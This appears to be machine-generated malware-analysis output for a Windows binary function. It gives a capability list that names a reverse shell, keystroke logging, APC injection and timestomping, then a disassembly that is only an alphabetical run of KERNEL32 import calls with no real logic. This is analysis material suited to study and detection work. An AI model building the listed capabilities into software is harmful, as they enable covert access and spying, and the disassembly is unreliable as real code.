Function at 0x10001000
Capabilities:
Accept command line arguments
Allocate thread local storage
Check for outputdebugstring error
Clear file content
Connect pipe
Copy file
Create directory
Create mailslot
Create pipe
Create process on windows
Create reverse shell
Create thread
Delete directory
Delete file
Enumerate files on windows
Enumerate gui resources
Enumerate process modules
Enumerate processes
Extract resource via kernel32 functions
Get common file path
Get disk information
Get disk size
Get file attributes
Get geographical location
Get hostname
Get system information on windows
Get thread local storage value
Inject apc
Log keystrokes
Manipulate console buffer
Move file
Print debug messages
Query environment variable
Read .ini file
Read file on windows
Read from mailslot
Read pipe
Resume thread
Set current directory
Set environment variable
Set file attributes
Set thread local storage value
Suspend thread
Terminate process
Terminate thread
Timestomp file
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push ebp
mov ebp, esp
call dword [sym.imp.KERNEL32.dll_AddAtomA]
call dword [sym.imp.KERNEL32.dll_AddAtomW]
call dword [sym.imp.KERNEL32.dll_AllocConsole]
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
call dword [sym.imp.KERNEL32.dll_BackupRead]
call dword [sym.imp.KERNEL32.dll_BackupSeek]
call dword [sym.imp.KERNEL32.dll_BackupWrite]
call dword [sym.imp.KERNEL32.dll_Beep]
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsW]
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
call dword [sym.imp.KERNEL32.dll_CallNamedPipeA]
call dword [sym.imp.KERNEL32.dll_CancelDeviceWakeupRequest]
call dword [sym.imp.KERNEL32.dll_CancelIo]
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
call dword [sym.imp.KERNEL32.dll_ClearCommError]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
call dword [sym.imp.KERNEL32.dll_CompareStringA]
call dword [sym.imp.KERNEL32.dll_CompareStringW]
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
call dword [sym.imp.KERNEL32.dll_ContinueDebugEvent]
call dword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
call dword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
call dword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
call dword [sym.imp.KERNEL32.dll_CopyFileW]
call dword [sym.imp.KERNEL32.dll_CreateConsoleScreenBuffer]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryExA]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
call dword [sym.imp.KERNEL32.dll_CreateEventA]
call dword [sym.imp.KERNEL32.dll_CreateEventW]
call dword [sym.imp.KERNEL32.dll_CreateFiber]
call dword [sym.imp.KERNEL32.dll_CreateFiberEx]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
call dword [sym.imp.KERNEL32.dll_CreateMailslotA]
call dword [sym.imp.KERNEL32.dll_CreateMailslotW]
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
call dword [sym.imp.KERNEL32.dll_CreatePipe]
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
call dword [sym.imp.KERNEL32.dll_CreateTapePartition]
call dword [sym.imp.KERNEL32.dll_CreateThread]
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerW]
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceW]
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
call dword [sym.imp.KERNEL32.dll_DeleteFiber]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
call dword [sym.imp.KERNEL32.dll_DosDateTimeToFileTime]
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
call dword [sym.imp.KERNEL32.dll_EnumResourceLanguagesA]
call dword [sym.imp.KERNEL32.dll_EnumResourceLanguagesW]
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesA]
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
call dword [sym.imp.KERNEL32.dll_EraseTape]
call dword [sym.imp.KERNEL32.dll_ExitProcess]